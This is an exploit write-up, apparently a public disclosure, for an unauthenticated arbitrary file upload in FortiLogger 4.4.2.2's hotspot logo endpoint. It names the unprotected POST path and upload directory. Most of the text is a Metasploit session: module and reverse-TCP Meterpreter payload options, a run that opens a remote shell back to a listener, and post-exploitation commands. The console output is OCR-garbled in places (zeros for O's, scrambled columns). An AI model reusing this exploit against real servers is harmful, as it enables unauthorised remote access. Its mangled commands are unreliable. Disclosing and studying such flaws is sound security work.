FortiLogger | Log and Report System - Unauthenticated Arbitrary File Upload (Metasploit)

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This vulnerability found on upload a company logo under "Hotspot Settings" (http://192.168.16.128:5000/config/hotspotsettings).

An anonymous user can be send a file without any authentication or session header with POST request to "/Config/SaveUploadedHotspotLogoFile"



This file is upload under "C:\Program Files\RZK\Fortilogger\Web\Assets\temp\hotspot\img" destination with "logonhotspot" name without controlling file extention or content.



Using this vulnerability, I uploaded a malicious file and accessed the remote server where the application was running.

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Module options (exploit/windows/http/fortilogger arbitrary fileupload):
                      Current Setting Required Description
                                                                A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
The target port (TCP)
Negotiate SSL/TLS for outgoing connections
The base path to the FortiLogger
HTTP server virtual host
     Proxies
    RH0STS
                      192.168.16.128
                                                yes
    RPORT
                      5000
                                                 yes
                      false
     SSL
                                                 no
     TARGETURI
                                                 yes
    VHOST
                                                 no
Payload options (windows/meterpreter/reverse tcp):
                    Current Setting Required Description
                                                               Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
The listen port
    EXITFUNC process
                    192.168.1.50
4444
    LH0ST
LP0RT
                                               yes
                                               yes
Exploit target:
          FortiLogger - 4.4.2.2
msf6 exploit(windows/http/fortilogger arbitrary fileupload) > run
 [*] Started reverse TCP handler on 192.168.1.50:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[+] Generate Payload !
[+] Payload has been uploaded !
[*] Executing payload
 *] Executing payload...
[*] Sending stage (175174 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.50:38609) at 2021-01-31 03:33:12 +0300
<u>meterpreter</u> > getuid
Server username: DESKTOP-U670BCO\b3rkan
meterpreter > sysinfo
                         : DESKTOP-U670BC0
: Windows 10 (10.0 Build 18363).
Computer
0S
Architecture
                            x64
System Language : en_US
                            WORKGROUP
Domain
Logged On Users : 2
Meterpreter : x8
                            x86/windows
 meterpreter >
```

POC:

https://asciinema.org/a/388098